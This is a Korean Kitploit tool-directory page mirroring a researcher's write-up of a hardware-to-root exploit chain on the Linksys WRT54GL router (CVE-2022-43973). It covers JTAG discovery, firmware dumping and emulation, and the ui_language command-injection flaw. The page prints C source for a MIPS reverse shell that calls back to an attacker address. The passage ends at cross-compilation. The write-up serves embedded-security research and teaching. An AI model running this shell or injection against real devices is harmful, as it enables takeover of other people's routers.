Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Linksys-WRT54GL-Exploitation — 납땜에서 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973) | Kitploit
도구/GitHubGitHub/umbertodellamonica/linksys-wrt54gl-exploitation
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationReverse EngineeringDebuggersPenetration TestingHardware SecurityBinary Analysis

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Learning & Education
Payload Development
Firmware Analysis
GitHubumbertodellamonica/linksys-wrt54gl-exploitation

Linksys-WRT54GL-Exploitation

납땜에서 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973)

저장소 보기
22174개월 전아직 검토되지 않음

납땜부터 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973)

JTAG 핀 탐색부터 MIPS 기반 가정용 라우터의 원격 코드 실행까지 — 10단계 임베디드 보안 연구 여정.

저자Umberto Della Monica
역할MSc 사이버보안 학생 — 임베디드 보안 연구원
날짜2026년 5월
저장소Linksys-WRT54GL-Exploitation

고지 사항: 본 연구는 제가 개인적으로 소유한 하드웨어에서 교육 및 연구 목적으로만 수행되었습니다. 허가되지 않은 시스템에는 접근하지 않았습니다. 여기에 설명된 모든 기법은 본인이 소유하거나 명시적인 서면 승인을 받은 기기에만 재현해야 합니다. 저자는 제시된 정보의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 적용 가능한 법률, 규정 및 책임 있는 공개 관행을 준수하십시오.


목차

  • 요약
  • 대상 기기 개요
  • 1–2단계: 하드웨어 정찰 및 핀 탐색
  • 3–4단계: JTAG 디버깅 및 펌웨어 추출
  • 5–6단계: 펌웨어 분석 및 에뮬레이션
  • 7단계: 취약점 연구 — CVE-2022-43973
  • 8단계: 페이로드 개발 — MIPS 리버스 셸
  • 9단계: 익스플로잇 전달 및 루트 셸
  • 10단계: 네트워크 및 세션 분석
  • 도구 및 기술
  • 주요 시사점
  • 참고 자료
  • 상세 문서
  • 라이선스

요약

  • 대상: Linksys WRT54GL v1.1 — Broadcom BCM5352 칩셋(MIPS 32비트 아키텍처) 기반의 널리 배포된 가정용 라우터
  • 취약점: CVE-2022-43973 — HTTP 관리 인터페이스의 명령 주입을 통한 원격 코드 실행
  • 범위: 물리적 JTAG 접근부터 원격 루트 셸까지 10단계에 걸친 하드웨어-소프트웨어 전체 익스플로잇 체인
  • 결과: 맞춤형 MIPS 리버스 셸 페이로드를 통해 완전한 원격 루트 셸 확보
  • 도구: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, Docker 및 Broadcom MIPS 크로스 컴파일 툴체인

Linksys WRT54GL v1.1


대상 기기 개요

Linksys WRT54GL은 지금까지 생산된 소비자용 라우터 중 가장 상징적인 제품 중 하나입니다. 오픈소스 펌웨어 지원 덕분에 매니아와 연구자 모두에게 사랑받았습니다. 오래된 기기임에도 불구하고 전 세계에서 여전히 활발히 사용되고 있어 임베디드 보안 연구의 유의미한 대상이 되고 있습니다.

사양값
칩셋Broadcom BCM5352
CPU 클록200 MHz
아키텍처MIPS 32비트(리틀 엔디안)
플래시 메모리4 MB NOR(0xbfc00000에 메모리 매핑됨)
RAM16 MB
무선IEEE 802.11b/g, 54 Mbps
네트워크4x LAN + 1x WAN, SPI 지원 NAT 방화벽
OSLinux 기반(BusyBox)
부트로더CFE(Common Firmware Environment)

내부 아키텍처


1–2단계: 하드웨어 정찰 및 핀 탐색

모든 하드웨어 보안 평가의 첫 단계는 물리적 검사입니다. 기기 케이스를 연 후 PCB에서 두 개의 디버그 인터페이스를 식별했습니다.

  • 하드웨어 수준 디버깅을 위한 12핀 JTAG 헤더(미실장)
  • 3.3V TTL 레벨로 동작하는 10핀 시리얼(UART) 포트

JTAG 헤더가 미실장 상태였기 때문에 디버그 인터페이스에 접근하기 위해 임시 핀 헤더를 납땜했습니다. 멀티미터를 사용하여 접지(GND)와 Vcc 라인을 식별하고 대상 기기가 3.3V 로직 레벨로 동작함을 확인했습니다 — 이는 칩셋 손상을 방지하는 데 중요합니다.

JTAGulator를 이용한 JTAG 핀 탐색

JTAG 신호를 매핑하기 위해 Grand Idea Studio의 JTAGulator를 사용했습니다 — 가능한 모든 핀 조합을 프로빙하여 디버그 인터페이스를 자동으로 식별하도록 설계된 하드웨어 도구입니다.

JTAGulator는 다음과 같은 JTAG 핀아웃을 성공적으로 식별했습니다.

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

JTAG 포트 근접 촬영

JTAGulator 핀 탐색

물리적 연결: Linksys와 JTAGulator


3–4단계: JTAG 디버깅 및 펌웨어 추출

JTAG 핀을 식별한 후 FTDI FT2232H 칩을 탑재한 오픈소스 하드웨어 보안 평가 도구(GNU GPL v3.0)인 Attify Badge를 라우터의 JTAG 헤더에 연결했습니다.

공식 구성이 이 특정 하드웨어 리비전과 호환되지 않았기 때문에 BCM5352 대상에 맞게 조정된 사용자 정의 구성으로 OpenOCD(Open On-Chip Debugger)를 실행했습니다.

플래시 메모리 레이아웃

사용자 정의 OpenOCD 구성은 라우터의 플래시 파티션 레이아웃을 정의합니다.

파티션설명시작 주소크기
CFE부트로더0xbfc00000256 KB
펌웨어커널 + 루트 파일시스템0xbfc40000~3.7 MB
NVRAM구성0xbfff000064 KB

펌웨어 덤프

CPU를 중지(halt)시킨 후 메모리 매핑된 NOR 플래시 전체 4 MB를 덤프했습니다.

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Attify Badge

OpenOCD 펌웨어 추출


5–6단계: 펌웨어 분석 및 에뮬레이션

binwalk을 이용한 정적 분석

binwalk을 사용하여 펌웨어 덤프를 분석하고 내장된 파일시스템, 압축 세그먼트 및 커널 이미지를 식별했습니다:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # entropy analysis
sha256sum ./dumps/wrt54gl.bin     # integrity verification

분석 결과 표준 BusyBox 기반 Linux 환경을 포함하는 SquashFS 루트 파일시스템이 확인되었습니다. 더 깊은 검사를 위해 binwalk -e와 unsquashfs를 사용하여 추출했습니다.

FirmAE를 이용한 펌웨어 에뮬레이션

안전한 테스트 환경을 만들기 위해 MIPS 아키텍처를 지원하는 자동화된 펌웨어 에뮬레이션 프레임워크인 FirmAE를 사용하여 펌웨어 에뮬레이션을 설정했습니다. 이를 통해 가상 환경에서 라우터의 서비스(HTTP, telnet)를 재현하고 물리적 기기에 위험을 주지 않고 익스플로잇을 테스트할 수 있었습니다.

binwalk 펌웨어 분석

FirmAE 에뮬레이션


7단계: 취약점 연구 — CVE-2022-43973

MIPS 디컴파일러 플러그인이 포함된 Ghidra(NSA의 리버스 엔지니어링 프레임워크)를 사용하여 추출된 펌웨어 바이너리에 대한 정적 분석을 수행하고 CVE-2022-43973의 존재를 확인했습니다.

취약점 세부 정보

필드값
CVE IDCVE-2022-43973
유형원격 코드 실행(RCE)
공격 벡터인증된 HTTP 요청
근본 원인검증되지 않은 ui_language 파라미터를 통한 명령 주입
엔드포인트POST /apply.cgi
트리거POST /upgrade.cgi(펌웨어 업그레이드)
영향전체 루트 수준 명령 실행

이 취약점은 라우터의 CGI 요청 처리기에 존재합니다. /apply.cgi 엔드포인트의 ui_language 양식 필드는 삭제(sanitization) 없이 임의의 입력을 허용합니다. ;cmd; 구문으로 감싼 셸 명령을 주입함으로써 공격자는 명령을 스테이징한 후 /upgrade.cgi를 통해 펌웨어 업그레이드가 트리거될 때 실행되게 할 수 있습니다.

영향을 받는 펌웨어 버전:

  • v4.30.18(최신) — 세션 기반 인증 필요
  • v4.30.16(이전) — HTTP 기본 인증만 사용

Ghidra에서 CVE-2022-43973 확인


8단계: 페이로드 개발 — MIPS 리버스 셸

라우터의 MIPS 아키텍처에 맞게 제작된 맞춤형 리버스 셸을 C로 개발했습니다. 이 페이로드는 공격자에게 역방향 TCP 연결을 설정하고 모든 표준 파일 디스크립터를 소켓으로 리다이렉트한 후 대화형 셸을 실행합니다:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

Docker를 이용한 크로스 컴파일

도구 다운로드